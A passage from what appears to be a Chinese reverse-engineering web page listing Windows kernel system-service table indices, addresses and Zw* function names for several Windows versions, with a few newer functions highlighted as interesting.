/>145=8054C8BB:ZwSetTimer(07)<br />146=8065D538:ZwSetTimerResolution(03)<br />147=80625529:ZwSetUuidSeed(01)<br />148=8068B066:ZwSetValueKey(06)<br />149=8071EBEB:ZwSetVolumeInformationFile(05)<br />14A=80765661:ZwShutdownSystem(01)<br />14B=804F1872:ZwSignalAndWaitForSingleObject(04)<br />14C=8076FAF6:ZwStartProfile(01)<br />14D=8076FCC5:ZwStopProfile(01)<br />14E=80745BA7:ZwSuspendProcess(01)<br />14F=806FD6A6:ZwSuspendThread(02)<br />150=8076FE70:ZwSystemDebugControl(06)<br />151=8065FBA9:ZwTerminateJobObject(02)<br />152=80690B90:ZwTerminateProcess(02)<br />153=8068F89A:ZwTerminateThread(02)<br />154=806E1D94:ZwTestAlert(00)<br />155=8057C027:ZwThawRegistry(00)<br />156=805A7D9A:ZwThawTransactions(00)<br />157=80558C15:ZwTraceEvent(04)<br />158=806E9AF7:ZwTraceControl(06)<br />159=8076C39F:ZwTranslateFilePath(04)<br />15A=8071F695:ZwUnloadDriver(01)<br />15B=80658B3D:ZwUnloadKey(01)<br />15C=80658515:ZwUnloadKey2(02)<br />15D=806FFCF4:ZwUnloadKeyEx(02)<br />15E=806E4118:ZwUnlockFile(05)<br />15F=80501C6A:ZwUnlockVirtualMemory(04)<br />160=806E4702:ZwUnmapViewOfSection(02)<br />161=8075B92A:ZwVdmControl(02)<br />162=80714183:ZwWaitForDebugEvent(04)<br />163=806BA75B:ZwWaitForMultipleObjects(05)<br />164=806B6BD4:ZwWaitForSingleObject(03)<br />165=8076F4A1:ZwWaitHighEventPair(01)<br />166=8076F438:ZwWaitLowEventPair(01)<br />167=806D349A:ZwWriteFile(09)<br />168=806664F6:ZwWriteFileGather(09)<br />169=806EE969:ZwWriteRequestData(06)<br />16A=806CEFC2:ZwWriteVirtualMemory(05)<br />16B=804FFB10:ZwYieldExecution(00)<br />16C=80675BCB:ZwCreateKeyedEvent(04)<br />16D=80770269:ZwOpenKeyedEvent(03)<br />16E=806C859E:ZwReleaseKeyedEvent(04)<br />16F=806C8880:ZwWaitForKeyedEvent(04)<br />170=80744986:ZwQueryPortInformationProcess(00)<br />171=806FD817:ZwGetCurrentProcessorNumber(00)<br />172=8073B9BF:ZwWaitForMultipleObjects32(05)<br /><font color="#ff0000">173=80745EF0:ZwGetNextProcess(05) //想必是个好函数<br />174=8074615D:ZwGetNextThread(06)  //想必是个好函数</font><br />175=8071D021:ZwCancelIoFileEx(03)<br />176=8071D15E:ZwCancelSynchronousIoFile(03)<br />177=806EB38C:ZwRemoveIoCompletionEx(06)<br />178=805A8077:ZwRegisterProtocolAddressInformation(05)<br />179=805A8086:ZwPullTransaction(07)<br />17A=805A80AF:ZwMarshallTransaction(06)<br />17B=8057EB07:ZwPropagationComplete(04)<br />17C=805A809B:ZwPropagationFailed(03)<br />17D=80675EEB:ZwCreateWorkerFactory(0A)<br />17E=8054C43C:ZwReleaseWorkerFactoryWorker(01)<br />17F=8054C0D0:ZwWaitForWorkViaWorkerFactory(02)<br />180=804F6D60:ZwSetInformationWorkerFactory(04)<br />181=805AF4ED:ZwQueryInformationWorkerFactory(05)<br />182=80578126:ZwWorkerFactoryWorkerReady(01)<br />183=80644918:ZwShutdownWorkerFactory(02)<br /><font color="#ff0000">184=806DC1B9:ZwCreateThreadEx(0B)<br />185=806E8F2A:ZwCreateUserProcess(0B)<br />186=806ED0CB:ZwQueryLicenseValue(05)</font><br />187=806D8B2C:ZwMapCMFModule(06)<br />188=80757BF7:ZwListTransactions(03)<br />189=807712D3:ZwIsUILanguageComitted(00)<br />18A=807712F3:ZwFlushInstallUILanguage(02)<br />18B=80770EFF:ZwGetMUIRegistryInfo(03)<br />18C=8077039E:ZwAcquireCMFViewOwnership(03)<br />18D=80770567:ZwReleaseCMFViewOwnership</p>
		<p>
				<br />
				<font color="#0000ff">WIN2003 SP1 内核服务函数列表，数量=127(此表由创建于CNASM内部系统分析工具3.0) <br /></font>
				<br />000=8058FDCE:ZwAcceptConnectPort <br />001=80598B7E:ZwAccessCheck <br />002=805996CE:ZwAccessCheckAndAuditAlarm <br />003=805AABB7:ZwAccessCheckByType <br />004=8059B68A:ZwAccessCheckByTypeAndAuditAlarm <br />005=8065A705:ZwAccessCheckByTypeResultList <br />006=8065C9B2:ZwAccessCheckByTypeResultListAndAuditAlarm <br />007=8065C9F5:ZwAccessCheckByTypeResultListAndAuditAlarmByHandle <br />008=8059FC4F:ZwAddAtom <br />009=80669A5C:ZwAddBootEntry <br />00A=80669A5C:ZwAddDriverEntry <br />00B=8065A1E2:ZwAdjustGroupsToken <br />00C=80599836:ZwAdjustPrivilegesToken <br />00D=8065304B:ZwAlertResumeThread <br />00E=805991EA:ZwAlertThread <br />00F=8059B6CC:ZwAllocateLocallyUniqueId <br />010=80649EB9:ZwAllocateUserPhysicalPages <br />011=805A90DC:ZwAllocateUuids <br />012=80585188:ZwAllocateVirtualMemory <br />013=80591AFF:ZwApphelpCacheControl <br />014=805EB2FB:ZwAreMappedFilesTheSame <br />015=805ACE6F:ZwAssignProcessToJobObject <br />016=804EDBCC:ZwCallbackReturn <br />017=80669A4F:ZwCancelDeviceWakeupRequest <br />018=805ED49D:ZwCancelIoFile <br />019=804F9445:ZwCancelTimer <br />01A=8058E43A:ZwClearEvent <br />01B=805788AC:ZwClose <br />01C=80598EEA:ZwCloseObjectAuditAlarm <br />01D=80628F6F:ZwCompactKeys <br />01E=8065D8FF:ZwCompareTokens <br />01F=8058FC82:ZwCompleteConnectPort <br />020=806291D6:ZwCompressKey <br />021=8058E55A:ZwConnectPort <br />022=804ED14B:ZwContinue <br />023=805B2B1E:ZwCreateDebugObject <br />024=805ACBAF:ZwCreateDirectoryObject <br />025=8057A522:ZwCreateEvent <br />026=8066A009:ZwCreateEventPair <br />027=8057B0CB:ZwCreateFile <br />028=805A15AB:ZwCreateIoCompletion <br />029=805E29EB:ZwCreateJobObject <br />02A=80653805:ZwCreateJobSet <br />02B=80594A39:ZwCreateKey <br />02C=805F425D:ZwCreateMailslotFile <br />02D=805883A1:ZwCreateMutant <br />02E=80591416:ZwCreateNamedPipeFile <br />02F=805CAE1E:ZwCreatePagingFile <br />030=805A52A4:ZwCreatePort <br />031=805BF684:ZwCreateProcess <br />032=80590FE3:ZwCreateProcessEx <br />033=8066A5B7:ZwCreateProfile <br />034=80575ECA:ZwCreateSection <br />035=8059CFA9:ZwCreateSemaphore <br />036=805AD548:ZwCreateSymbolicLinkObject <br />037=8058A254:ZwCreateThread <br />038=805A4688:ZwCreateTimer <br />039=805A82A4:ZwCreateToken <br />03A=805BE212:ZwCreateWaitablePort <br />03B=805B32C1:ZwDebugActiveProcess <br />03C=805B37DC:ZwDebugContinue <br />03D=80576C08:ZwDelayExecution <br />03E=8059CB90:ZwDeleteAtom <br />03F=80669A4F:ZwDeleteBootEntry <br />040=80669A4F:ZwDeleteDriverEntry <br />041=805B9979:ZwDeleteFile <br />042=805EEA87:ZwDeleteKey <br />043=8065CA3A:ZwDeleteObjectAuditAlarm <br />044=805A40D4:ZwDeleteValueKey <br />045=80588F5E:ZwDeviceIoControlFile <br />046=805CBF0B:ZwDisplayString <br />047=8058251E:ZwDuplicateObject <br />048=8059EC7C:ZwDuplicateToken <br />049=80669A5C:ZwEnumerateBootEntries <br />04A=80669A5C:ZwEnumerateDriverEntries <br />04B=8059C085:ZwEnumerateKey <br />04C=80669A42:ZwEnumerateSystemEnvironmentValuesEx <br />04D=8059F849:ZwEnumerateValueKey <br />04E=805AE037:ZwExtendSection <br />04F=805E61D5:ZwFilterToken <br />050=805A001A:ZwFindAtom <br />051=805940A7:ZwFlushBuffersFile <br />052=8058C8B5:ZwFlushInstructionCache <br />053=805E915B:ZwFlushKey <br />054=805A330D:ZwFlushVirtualMemory <br />055=8064AB20:ZwFlushWriteBuffer <br />056=8064A52A:ZwFreeUserPhysicalPages <br />057=8057D2BF:ZwFreeVirtualMemory <br />058=80581504:ZwFsControlFile <br />059=805EA674:ZwGetContextThread <br />05A=8064FE05:ZwGetDevicePowerState <br />05B=805EACCB:ZwGetPlugPlayEvent <br />05C=80546EC4:ZwGetWriteWatch <br />05D=805F32E2:ZwImpersonateAnonymousToken <br />05E=80599FDF:ZwImpersonateClientOfPort <br />05F=8059D9C8:ZwImpersonateThread <br />060=805B97C8:ZwInitializeRegistry <br />061=8064FC59:ZwInitiatePowerAction <br />062=80590C31:ZwIsProcessInJob <br />063=8064FDF2:ZwIsSystemResumeAutomatic <br />064=805BE19C:ZwListenPort <br />065=805BBDFE:ZwLoadDriver <br />066=805B4D8F:ZwLoadKey <br />067=8062958C:ZwLoadKey2 <br />068=805B6A6C:ZwLoadKeyEx <br />069=805A4342:ZwLockFile <br />06A=805E6EAA:ZwLockProductActivationKeys <br />06B=805E0064:ZwLockRegistryKey <br />06C=805E6A65:ZwLockVirtualMemory <br />06D=805AD8BA:ZwMakePermanentObject <br />06E=805ADB05:ZwMakeTemporaryObject <br />06F=80649392:ZwMapUserPhysicalPages <br />070=80649859:ZwMapUserPhysicalPagesScatter <br />071=8058B905:ZwMapViewOfSection <br />072=80669A4F:ZwModifyBootEntry <br />073=80669A4F:ZwModifyDriverEntry <br />074=805F159D:ZwNotifyChangeDirectoryFile <br />075=8059BF1C:ZwNotifyChangeKey <br />076=8059BD2D:ZwNotifyChangeMultipleKeys <br />077=80590F66:ZwOpenDirectoryObject <br />078=8059B615:ZwOpenEvent <br />079=8066A0F4:ZwOpenEventPair <br />07A=8057B09D:ZwOpenFile <br />07B=80636E03:ZwOpenIoCompletion <br />07C=805B18B0:ZwOpenJobObject <br />07D=8057AD88:ZwOpenKey <br />07E=80588508:ZwOpenMutant <br />07F=805EF885:ZwOpenObjectAuditAlarm <br />080=80595613:ZwOpenProcess <br />081=80580110:ZwOpenProcessToken <br />082=80580816:ZwOpenProcessTokenEx <br />083=8058C94B:ZwOpenSection <br />084=805B5152:ZwOpenSemaphore <br />085=80590A10:ZwOpenSymbolicLinkObject <br />086=805A4A8C:ZwOpenThread <br />087=80581976:ZwOpenThreadToken <br />088=805818E5:ZwOpenThreadTokenEx <br />089=805ED40F:ZwOpenTimer <br />08A=805A44A2:ZwPlugPlayControl <br />08B=805B0364:ZwPowerInformation <br />08C=805A4C28:ZwPrivilegeCheck <br />08D=805E68CE:ZwPrivilegeObjectAuditAlarm <br />08E=805A9BF0:ZwPrivilegedServiceAuditAlarm <br />08F=80586A67:ZwProtectVirtualMemory <br />090=805A1752:ZwPulseEvent <br />091=80587755:ZwQueryAttributesFile <br />092=80669A5C:ZwQueryBootEntryOrder <br />093=80669A5C:ZwQueryBootOptions <br />094=8050AC75:ZwQueryDebugFilterState <br />095=80581FD5:ZwQueryDefaultLocale <br />096=80589C53:ZwQueryDefaultUILanguage <br />097=8058931C:ZwQueryDirectoryFile <br />098=80597D65:ZwQueryDirectoryObject <br />099=80669A5C:ZwQueryDriverEntryOrder <br />09A=80637410:ZwQueryEaFile <br />09B=805A4D89:ZwQueryEvent <br />09C=8059D735:ZwQueryFullAttributesFile <br />09D=805EFFFE:ZwQueryInformationAtom <br />09E=805872CF:ZwQueryInformationFile <br />09F=805B15AB:ZwQueryInformationJobObject <br />0A0=80646A66:ZwQueryInformationPort <br />0A1=80581DEA:ZwQueryInformationProcess <br />0A2=80578DC6:ZwQueryInformationThread <br />0A3=80580718:ZwQueryInformationToken <br />0A4=8059F58C:ZwQueryInstallUILanguage <br />0A5=8066AA4E:ZwQueryIntervalProfile <br />0A6=80636EBC:ZwQueryIoCompletion <br />0A7=80582C31:ZwQueryKey <br />0A8=80628765:ZwQueryMultipleValueKey <br />0A9=8066A412:ZwQueryMutant <br />0AA=805F3CAD:ZwQueryObject <br />0AB=80628953:ZwQueryOpenSubKeys <br />0AC=80628B89:ZwQueryOpenSubKeysEx <br />0AD=8058159E:ZwQueryPerformanceCounter <br />0AE=80637C9D:ZwQueryQuotaInformationFile <br />0AF=8058879A:ZwQuerySection <br />0B0=8059B7E7:ZwQuerySecurityObject <br />0B1=80669325:ZwQuerySemaphore <br />0B2=80590816:ZwQuerySymbolicLinkObject <br />0B3=80669A76:ZwQuerySystemEnvironmentValue <br />0B4=80669A35:ZwQuerySystemEnvironmentValueEx <br />0B5=8057EBE2:ZwQuerySystemInformation <br />0B6=80599E57:ZwQuerySystemTime <br />0B7=8058E677:ZwQueryTimer <br />0B8=805A0436:ZwQueryTimerResolution <br />0B9=80579D61:ZwQueryValueKey <br />0BA=80584264:ZwQueryVirtualMemory <br />0BB=8057B60D:ZwQueryVolumeInformationFile <br />0BC=8058E78E:ZwQueueApcThread <br />0BD=804ED198:ZwRaiseException <br />0BE=80669075:ZwRaiseHardError <br />0BF=8057F886:ZwReadFile <br />0C0=805B0B82:ZwReadFileScatter <br />0C1=8059A59D:ZwReadRequestData <br />0C2=805881E0:ZwReadVirtualMemory <br />0C3=8058A402:ZwRegisterThreadTerminatePort <br />0C4=80576B77:ZwReleaseMutant <br />0C5=8059AEB5:ZwReleaseSemaphore <br />0C6=80579945:ZwRemoveIoCompletion <br />0C7=80670462:ZwRemoveProcessDebug <br />0C8=80628DEC:ZwRenameKey <br />0C9=8062948F:ZwReplaceKey <br />0CA=80582E50:ZwReplyPort <br />0CB=8057D2A0:ZwReplyWaitReceivePort <br />0CC=8057CDB0:ZwReplyWaitReceivePortEx <br />0CD=80646B39:ZwReplyWaitReplyPort <br />0CE=80669A4F:ZwRequestDeviceWakeup <br />0CF=8059A5F2:ZwRequestPort <br />0D0=8058EBC3:ZwRequestWaitReplyPort <br />0D1=8064FC04:ZwRequestWakeupLatency <br />0D2=805A6751:ZwResetEvent <br />0D3=8054743E:ZwResetWriteWatch <br />0D4=80629286:ZwRestoreKey <br />0D5=80652FF5:ZwResumeProcess <br />0D6=805826FA:ZwResumeThread <br />0D7=80629325:ZwSaveKey <br />0D8=806293B2:ZwSaveKeyEx <br />0D9=80627F0D:ZwSaveMergedKeys <br />0DA=8058F4B2:ZwSecureConnectPort <br />0DB=80669A5C:ZwSetBootEntryOrder <br />0DC=80669A5C:ZwSetBootOptions <br />0DD=805B36F1:ZwSetContextThread <br />0DE=806704F1:ZwSetDebugFilterState <br />0DF=805CC1AC:ZwSetDefaultHardErrorPort <br />0E0=805B948B:ZwSetDefaultLocale <br />0E1=805B9433:ZwSetDefaultUILanguage <br />0E2=80669A5C:ZwSetDriverEntryOrder <br />0E3=8063794E:ZwSetEaFile <br />0E4=8057CBD7:ZwSetEvent <br />0E5=80577690:ZwSetEventBoostPriority <br />0E6=8066A3B0:ZwSetHighEventPair <br />0E7=8066A2E6:ZwSetHighWaitLowEventPair <br />0E8=80670255:ZwSetInformationDebugObject <br />0E9=8057A747:ZwSetInformationFile <br />0EA=805E2B5F:ZwSetInformationJobObject <br />0EB=80628400:ZwSetInformationKey <br />0EC=8059423E:ZwSetInformationObject <br />0ED=80582221:ZwSetInformationProcess <br />0EE=80579629:ZwSetInformationThread <br />0EF=805A8844:ZwSetInformationToken <br />0F0=8066A5A0:ZwSetIntervalProfile <br />0F1=8057E39A:ZwSetIoCompletion <br />0F2=806528DB:ZwSetLdtEntries <br />0F3=8066A34F:ZwSetLowEventPair <br />0F4=8066A27D:ZwSetLowWaitHighEventPair <br />0F5=80637C7E:ZwSetQuotaInformationFile <br />0F6=805A7626:ZwSetSecurityObject <br />0F7=80669D39:ZwSetSystemEnvironmentValue <br />0F8=80669A35:ZwSetSystemEnvironmentValueEx <br />0F9=80599238:ZwSetSystemInformation <br />0FA=8067D325:ZwSetSystemPowerState <br />0FB=8066897B:ZwSetSystemTime <br />0FC=805ADC19:ZwSetThreadExecutionState <br />0FD=804F09BF:ZwSetTimer <br />0FE=805AEB3B:ZwSetTimerResolution <br />0FF=805BE73C:ZwSetUuidSeed <br />100=80594859:ZwSetValueKey <br />101=806381ED:ZwSetVolumeInformationFile <br />102=8066814B:ZwShutdownSystem <br />103=80548D9E:ZwSignalAndWaitForSingleObject <br />104=8066A7EC:ZwStartProfile <br />105=8066A999:ZwStopProfile <br />106=80652FA0:ZwSuspendProcess <br />107=805B2163:ZwSuspendThread <br />108=8066AAF2:ZwSystemDebugControl <br />109=80653A9B:ZwTerminateJobObject <br />10A=80592CBA:ZwTerminateProcess <br />10B=80578714:ZwTerminateThread <br />10C=805804F8:ZwTestAlert <br />10D=80520D5E:ZwTraceEvent <br />10E=80669A69:ZwTranslateFilePath <br />10F=8063A3C5:ZwUnloadDriver <br />110=8062947C:ZwUnloadKey <br />111=80627FC6:ZwUnloadKey2 <br />112=806281CB:ZwUnloadKeyEx <br />113=805A420B:ZwUnlockFile <br />114=805B0977:ZwUnlockVirtualMemory <br />115=8058BE79:ZwUnmapViewOfSection <br />116=805C7AA2:ZwVdmControl <br />117=805B27C8:ZwWaitForDebugEvent <br />118=80576D38:ZwWaitForMultipleObjects <br />119=8057628D:ZwWaitForSingleObject <br />11A=8066A21C:ZwWaitHighEventPair <br />11B=8066A1BB:ZwWaitLowEventPair <br />11C=8057A248:ZwWriteFile <br />11D=805B0FE1:ZwWriteFileGather <br />11E=8059B0A6:ZwWriteRequestData <br />11F=805882D7:ZwWriteVirtualMemory <br />120=8050B1C1:ZwYieldExecution <br />121=805D9D7F:ZwCreateKeyedEvent <br />122=805915CF:ZwOpenKeyedEvent <br />123=8066B22F:ZwReleaseKeyedEvent <br />124=8066B4AA:ZwWaitForKeyedEvent <br />125=80651170:ZwQueryPortInformationProcess <br /><br /><br /><font color="#0000ff">winxp/sp2内核服务函数列表，数量=11C(此表由创建于CNASM内部系统分析工具3.0) <br /></font><br />000=8058FF12:ZwAcceptConnectPort <br />001=8057B3B1:ZwAccessCheck <br />002=80598012:ZwAccessCheckAndAuditAlarm <br />003=805E01E6:ZwAccessCheckByType <br />004=80598099:ZwAccessCheckByTypeAndAuditAlarm <br />005=8063F008:ZwAccessCheckByTypeResultList <br />006=80641199:ZwAccessCheckByTypeResultListAndAuditAlarm <br />007=806411E2:ZwAccessCheckByTypeResultListAndAuditAlarmByHandle <br />008=80581221:ZwAddAtom <br />009=8064EEB3:ZwAddBootEntry <br />00A=8063E7CB:ZwAdjustGroupsToken <br />00B=80597849:ZwAdjustPrivilegesToken <br />00C=80636AE2:ZwAlertResumeThread <br />00D=805832D5:ZwAlertThread <br />00E=80596B44:ZwAllocateLocallyUniqueId <br />00F=8062D916:ZwAllocateUserPhysicalPages <br />010=805DC3E9:ZwAllocateUuids <br />011=80570E06:ZwAllocateVirtualMemory <br />012=805E5D79:ZwAreMappedFilesTheSame <br />013=805E8049:ZwAssignProcessToJobObject <br />014=804E5EC4:ZwCallbackReturn <br />015=8064EE9F:ZwCancelDeviceWakeupRequest <br />016=805ACCB3:ZwCancelIoFile <br />017=804EF208:ZwCancelTimer <br />018=80570718:ZwClearEvent <br />019=8056F9E9:ZwClose <br />01A=8059173A:ZwCloseObjectAuditAlarm <br />01B=806551C7:ZwCompactKeys <br />01C=8059200C:ZwCompareTokens <br />01D=805908F2:ZwCompleteConnectPort <br />01E=80655435:ZwCompressKey <br />01F=80591820:ZwConnectPort <br />020=804E222D:ZwContinue <br />021=806600F7:ZwCreateDebugObject <br />022=805AE932:ZwCreateDirectoryObject <br />023=805764A8:ZwCreateEvent <br />024=8064F504:ZwCreateEventPair <br />025=8057E3B5:ZwCreateFile <br />026=805DFD56:ZwCreateIoCompletion <br />027=805D979A:ZwCreateJobObject <br />028=80636F89:ZwCreateJobSet <br />029=80578284:ZwCreateKey <br />02A=805AD920:ZwCreateMailslotFile <br />02B=8057CD19:ZwCreateMutant <br />02C=80588378:ZwCreateNamedPipeFile <br />02D=805B9421:ZwCreatePagingFile <br />02E=805E29E8:ZwCreatePort <br />02F=805B50C0:ZwCreateProcess <br />030=8058BCC0:ZwCreateProcessEx <br />031=8064FB25:ZwCreateProfile <br />032=8056DE25:ZwCreateSection <br />033=8057A316:ZwCreateSemaphore <br />034=805E590C:ZwCreateSymbolicLinkObject <br />035=80585B62:ZwCreateThread <br />036=805E3350:ZwCreateTimer <br />037=805AA80B:ZwCreateToken <br />038=805AF220:ZwCreateWaitablePort <br />039=80661271:ZwDebugActiveProcess <br />03A=806613CB:ZwDebugContinue <br />03B=8056EB59:ZwDelayExecution <br />03C=805922B8:ZwDeleteAtom <br />03D=8064EE9F:ZwDeleteBootEntry <br />03E=805D8FA2:ZwDeleteFile <br />03F=8059B493:ZwDeleteKey <br />040=80641239:ZwDeleteObjectAuditAlarm <br />041=8059A085:ZwDeleteValueKey <br />042=80588074:ZwDeviceIoControlFile <br />043=805BA8C0:ZwDisplayString <br />044=80579C46:ZwDuplicateObject <br />045=8057D14D:ZwDuplicateToken <br />046=8064EEB3:ZwEnumerateBootEntries <br />047=805793FA:ZwEnumerateKey <br />048=8064EE8B:ZwEnumerateSystemEnvironmentValuesEx <br />049=8059060D:ZwEnumerateValueKey <br />04A=8062C8D5:ZwExtendSection <br />04B=805D3EF9:ZwFilterToken <br />04C=805E06C5:ZwFindAtom <br />04D=8058340B:ZwFlushBuffersFile <br />04E=805870CA:ZwFlushInstructionCache <br />04F=805E4A3F:ZwFlushKey <br />050=805E6D0A:ZwFlushVirtualMemory <br />051=8062E173:ZwFlushWriteBuffer <br />052=8062DCC9:ZwFreeUserPhysicalPages <br />053=805714A0:ZwFreeVirtualMemory <br />054=80581FCC:ZwFsControlFile <br />055=80634A5D:ZwGetContextThread <br />056=80632F37:ZwGetDevicePowerState <br />057=805A0FAF:ZwGetPlugPlayEvent <br />058=8053F879:ZwGetWriteWatch <br />059=805E259D:ZwImpersonateAnonymousToken <br />05A=80591445:ZwImpersonateClientOfPort <br />05B=80587C2C:ZwImpersonateThread <br />05C=805AF425:ZwInitializeRegistry <br />05D=80632D03:ZwInitiatePowerAction <br />05E=80636E3F:ZwIsProcessInJob <br />05F=80632F1E:ZwIsSystemResumeAutomatic <br />060=805D1564:ZwListenPort <br />061=805ADA28:ZwLoadDriver <br />062=805D43C2:ZwLoadKey <br />063=805D4210:ZwLoadKey2 <br />064=80592D85:ZwLockFile <br />065=805D1630:ZwLockProductActivationKeys <br />066=805CF453:ZwLockRegistryKey <br />067=805B2D23:ZwLockVirtualMemory <br />068=805E5C24:ZwMakePermanentObject <br />069=805E5B6D:ZwMakeTemporaryObject <br />06A=8062CF72:ZwMapUserPhysicalPages <br />06B=8062D3CB:ZwMapUserPhysicalPagesScatter <br />06C=8057F70B:ZwMapViewOfSection <br />06D=8064EE9F:ZwModifyBootEntry <br />06E=80595ABF:ZwNotifyChangeDirectoryFile <br />06F=8059748D:ZwNotifyChangeKey <br />070=8059729F:ZwNotifyChangeMultipleKeys <br />071=80589255:ZwOpenDirectoryObject <br />072=80590733:ZwOpenEvent <br />073=8064F5F5:ZwOpenEventPair <br />074=8057E529:ZwOpenFile <br />075=80620665:ZwOpenIoCompletion <br />076=806371E1:ZwOpenJobObject <br />077=80572CBC:ZwOpenKey <br />078=8057CDC7:ZwOpenMutant <br />079=80598D03:ZwOpenObjectAuditAlarm <br />07A=8057A0DA:ZwOpenProcess <br />07B=80577C67:ZwOpenProcessToken <br />07C=80577BBE:ZwOpenProcessTokenEx <br />07D=8057FB3A:ZwOpenSection <br />07E=805E5CEB:ZwOpenSemaphore <br />07F=805891D8:ZwOpenSymbolicLinkObject <br />080=80596EF6:ZwOpenThread <br />081=80575F57:ZwOpenThreadToken <br />082=80575E51:ZwOpenThreadTokenEx <br />083=8064F42B:ZwOpenTimer <br />084=8059FE11:ZwPlugPlayControl <br />085=805E5F26:ZwPowerInformation <br />086=805A010C:ZwPrivilegeCheck <br />087=805DC52F:ZwPrivilegeObjectAuditAlarm <br />088=805D12E8:ZwPrivilegedServiceAuditAlarm <br />089=8057A3EF:ZwProtectVirtualMemory <br />08A=805AF178:ZwPulseEvent <br />08B=80582D30:ZwQueryAttributesFile <br />08C=8064EEB3:ZwQueryBootEntryOrder <br />08D=8064EEB3:ZwQueryBootOptions <br />08E=804FD6A9:ZwQueryDebugFilterState <br />08F=8056F139:ZwQueryDefaultLocale <br />090=80588B53:ZwQueryDefaultUILanguage <br />091=80580AD8:ZwQueryDirectoryFile <br />092=8058E401:ZwQueryDirectoryObject <br />093=80620AE4:ZwQueryEaFile <br />094=80590B5A:ZwQueryEvent <br />095=8058536F:ZwQueryFullAttributesFile <br />096=805AEC39:ZwQueryInformationAtom <br />097=8057FCAB:ZwQueryInformationFile <br />098=8058B546:ZwQueryInformationJobObject <br />099=8062A57B:ZwQueryInformationPort <br />09A=8057603B:ZwQueryInformationProcess <br />09B=8057564A:ZwQueryInformationThread <br />09C=80576A55:ZwQueryInformationToken <br />09D=80589384:ZwQueryInstallUILanguage <br />09E=8064FFD7:ZwQueryIntervalProfile <br />09F=80620726:ZwQueryIoCompletion <br />0A0=80578FFA:ZwQueryKey <br />0A1=80654BE8:ZwQueryMultipleValueKey <br />0A2=8064F95E:ZwQueryMutant <br />0A3=80589607:ZwQueryObject <br />0A4=80654DEE:ZwQueryOpenSubKeys <br />0A5=805708FB:ZwQueryPerformanceCounter <br />0A6=80621395:ZwQueryQuotaInformationFile <br />0A7=80587517:ZwQuerySection <br />0A8=805E84B4:ZwQuerySecurityObject <br />0A9=8064E763:ZwQuerySemaphore <br />0AA=80589049:ZwQuerySymbolicLinkObject <br />0AB=8064EEDB:ZwQuerySystemEnvironmentValue <br />0AC=8064EE75:ZwQuerySystemEnvironmentValueEx <br />0AD=805864CF:ZwQuerySystemInformation <br />0AE=805919F9:ZwQuerySystemTime <br />0AF=8059608C:ZwQueryTimer <br />0B0=8058ACE1:ZwQueryTimerResolution <br />0B1=80573100:ZwQueryValueKey <br />0B2=80582647:ZwQueryVirtualMemory <br />0B3=8057E667:ZwQueryVolumeInformationFile <br />0B4=80595FE7:ZwQueueApcThread <br />0B5=804E2275:ZwRaiseException <br />0B6=8064E49F:ZwRaiseHardError <br />0B7=8058295B:ZwReadFile <br />0B8=80621C6B:ZwReadFileScatter <br />0B9=80591E97:ZwReadRequestData <br />0BA=80587A43:ZwReadVirtualMemory <br />0BB=805862B3:ZwRegisterThreadTerminatePort <br />0BC=8056EBC4:ZwReleaseMutant <br />0BD=805835DF:ZwReleaseSemaphore <br />0BE=8056F65F:ZwRemoveIoCompletion <br />0BF=80661346:ZwRemoveProcessDebug <br />0C0=8065502F:ZwRenameKey <br />0C1=80655522:ZwReplaceKey <br />0C2=8057CE46:ZwReplyPort <br />0C3=80575629:ZwReplyWaitReceivePort <br />0C4=80575141:ZwReplyWaitReceivePortEx <br />0C5=8062A65A:ZwReplyWaitReplyPort <br />0C6=80632EAB:ZwRequestDeviceWakeup <br />0C7=805E9324:ZwRequestPort <br />0C8=805796C4:ZwRequestWaitReplyPort <br />0C9=80632CA4:ZwRequestWakeupLatency <br />0CA=805E36C3:ZwResetEvent <br />0CB=8053FCF2:ZwResetWriteWatch <br />0CC=80654040:ZwRestoreKey <br />0CD=80636A82:ZwResumeProcess <br />0CE=805861D9:ZwResumeThread <br />0CF=806540E7:ZwSaveKey <br />0D0=8065417F:ZwSaveKeyEx <br />0D1=80654253:ZwSaveMergedKeys <br />0D2=8058F748:ZwSecureConnectPort <br />0D3=8064EEB3:ZwSetBootEntryOrder <br />0D4=8064EEB3:ZwSetBootOptions <br />0D5=80634C83:ZwSetContextThread <br />0D6=80662D26:ZwSetDebugFilterState <br />0D7=805B49B1:ZwSetDefaultHardErrorPort <br />0D8=805D9E07:ZwSetDefaultLocale <br />0D9=805D9DAE:ZwSetDefaultUILanguage <br />0DA=80621029:ZwSetEaFile <br />0DB=80570689:ZwSetEvent <br />0DC=8057676E:ZwSetEventBoostPriority <br />0DD=8064F8E9:ZwSetHighEventPair <br />0DE=8064F80D:ZwSetHighWaitLowEventPair <br />0DF=80660CE7:ZwSetInformationDebugObject <br />0E0=805839EE:ZwSetInformationFile <br />0E1=805D98EE:ZwSetInformationJobObject <br />0E2=8065474B:ZwSetInformationKey <br />0E3=805907A9:ZwSetInformationObject <br />0E4=80582B1D:ZwSetInformationProcess <br />0E5=80576581:ZwSetInformationThread <br />0E6=805A9EA5:ZwSetInformationToken <br />0E7=8064FB03:ZwSetIntervalProfile <br />0E8=8057590F:ZwSetIoCompletion <br />0E9=8063599B:ZwSetLdtEntries <br />0EA=8064F87F:ZwSetLowEventPair <br />0EB=8064F79B:ZwSetLowWaitHighEventPair <br />0EC=8062136D:ZwSetQuotaInformationFile <br />0ED=805DFAD1:ZwSetSecurityObject <br />0EE=8064F178:ZwSetSystemEnvironmentValue <br />0EF=8064EE75:ZwSetSystemEnvironmentValueEx <br />0F0=805DA74F:ZwSetSystemInformation <br />0F1=8066E0F9:ZwSetSystemPowerState <br />0F2=8064E153:ZwSetSystemTime <br />0F3=805EB24F:ZwSetThreadExecutionState <br />0F4=804E89FD:ZwSetTimer <br />0F5=805EB516:ZwSetTimerResolution <br />0F6=805D4521:ZwSetUuidSeed <br />0F7=80580F03:ZwSetValueKey <br />0F8=806218A9:ZwSetVolumeInformationFile <br />0F9=8064D89F:ZwShutdownSystem <br />0FA=8051C9EB:ZwSignalAndWaitForSingleObject <br />0FB=8064FD6C:ZwStartProfile <br />0FC=8064FF25:ZwStopProfile <br />0FD=80636A27:ZwSuspendProcess <br />0FE=80636943:ZwSuspendThread <br />0FF=80650085:ZwSystemDebugControl <br />100=8063735F:ZwTerminateJobObject <br />101=8058D549:ZwTerminateProcess <br />102=805857A8:ZwTerminateThread <br />103=80585CC1:ZwTestAlert <br />104=80549A08:ZwTraceEvent <br />105=8064EEC7:ZwTranslateFilePath <br />106=80623ED4:ZwUnloadDriver <br />107=80654319:ZwUnloadKey <br />108=80654516:ZwUnloadKeyEx <br />109=80592EE5:ZwUnlockFile 